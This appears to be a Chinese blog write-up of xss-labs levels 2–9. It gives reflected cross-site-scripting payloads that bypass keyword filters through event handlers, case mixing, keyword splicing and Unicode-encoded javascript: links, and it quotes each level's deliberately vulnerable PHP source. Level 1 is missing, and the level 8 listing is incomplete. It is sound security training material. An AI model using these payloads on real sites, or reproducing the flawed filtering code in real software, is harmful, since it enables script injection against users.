【xss-labs】闯关记录1~9

【xss-labs】闯关记录1~9


【level2】

输入特殊符号+标识符

image-20210311093602252

查看网页源代码:

image-20210311093623675

发现8989出现了两处,一处是在h2标签中,<>已被html编码,而input标签中的value属性中也有一处输出,且没有编码。

于是构造payload:" ><script>alert(/qianxun/)</script>

image-20210311094439723

成功弹窗!

总结:审计网页源码的时候一定要细心!细心!细心!


【level3】onfocus绕过编码

1、测试流程

image-20210311100406817

image-20210311100232145

如图所示,输出共有两处,而且都被htmlspecialchars()函数进行了编码。

h2标签那个是没辙了,但input标签中可以构造一个特殊事件onfocus(onfocus 事件在对象获得焦点时发生。)

' οnfοcus=javascript:alert(/xss/) /

输入此payload提交后,点击输入框获取焦点即可弹窗:

image-20210311101108501

总结:一定要注意闭合!闭合!闭合!

level4与level3一样的方法,只是level4是双引号闭合的。

2、源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'> //两个输出点都进行了html编码,这里可以选择onfocus绕过
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

【level5】关键字替换

1、测试流程

输入’"<>7878

查看网页源码:

image-20210311143535739

发现value部分的输出好像没有编码和过滤

然后使用上一关payload试试:' onfocus=javascript:alert(/xss/) /

结果失败

查看网页源码:

image-20210311143827550

tnnd好哇,onfocus被改成o_nfocus

换一个payload:"><script>alert(/xss/)</script>

image-20210311144229399

结果它把script改成了scr_ipt

看来后端是对script和on关键字做了过滤

利用href属性试试:"><a href=javascript:alert(/xss/)>xss</a>

image-20210311144521982

点击连接,成功弹窗!

image-20210311144554308

2、源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);  //将script进行了替换
$str3=str_replace("on","o_n",$str2);   //对on也进行了替换
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">   //在value输出点没有编码
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

总结:静下心多想想办法,灵活一点,不要死板。


【level6】

1、测试流程

试了上面的payload:

" onfocus=javascript:alert(/xss/) /

"><svg onload=javascript:alert(/xss/)>

"><script>alert(/xss/)</script>

"><a href=javascript:alert(/xss/)>xss</a>

都失败了

查看源码,均是将on替换为o_n;script替换为scr_ipt;href替换为hr_ef

于是猜测后端使用str_replace()函数实现替换的,于是可以采用大小写混合的方式尝试绕过

payload:"><svg OnLoAd=javascript:alert(/xss/)>

image-20210311151925819

成功弹窗!

2、源码分析

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);   
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

从源码可以看出,后端对一些关键字都进行了替换,但是用str_replace()函数比较危险,它是区分大小写的,直接大小写混合就可直接绕过。


【level7】

1、测试流程

payload_1:"<scrscriptipt>alert(/xss/)</scrscriptipt>

payload_2:"><svg oonnload=javascrscriptipt:alert(/xss/)>

payload_3:"><img src=1 oonnerror=alert(/xss/)>
使用拼凑法均可绕过。
image-20210311161034118

2、源码分析

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);  //将传入参数全部转化为小写
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看出,后台先将传入的参数全部转化为小写,然后将关键字script、on、src、data、href替换为空,这里使大小写混合绕过失效,但可以采用拼凑法绕过。


【level8】编码绕过

1、测试流程

输入"’<>7575测试一下

查看源码:

image-20210311174205561

发现input标签中的输出点将"<>全部编码

而href中只对双引号做了替换,我们可以尝试使用伪协议javascript来执行js代码

结果尝试了大小写混合、拼凑法无果

尝试对javascript:alert(/xss/)进行unicode编码:

image-20210311174615108

将编码粘到输入框内,点击链接

image-20210311173743313

如图所示,成功弹窗!

2、源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>

从上述代码中可以看出,后端对传入的参数先全部转换为小写(大小写混合失效),然后将关键字替换破坏(拼凑法不可用),而又将双引号进行了替换使得无法闭合href属性,所以只能考虑unicode编码。


【level9】特征匹配

1、测试流程

上面使用过的payload都试了,结果都是:

image-20210311195628807

它是怎么判断我链接不合法的?

想了想,构造一个假的链接试试

payload:javascript:alert(/xss/)//http://192.168.1.120//

image-20210311195920273

结果发现script被过了。

于是老样子,编码整上:

image-20210311200024538

粘到链接前面去提交:

image-20210311200149762

image-20210311200209676

如图所示,弹窗成功!

2、源码分析

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))   //判断用户输入中是否有http://字样
{
    
    
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
    
    
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

strpos($strs,'str')函数:查找字符串’str’在字符串$strs中第一次出现的位置

这一关与上一关不同之处是,对用户的输入做了特征匹配。

猜你喜欢

转载自blog.csdn.net/qq_43665434/article/details/114678862
今日推荐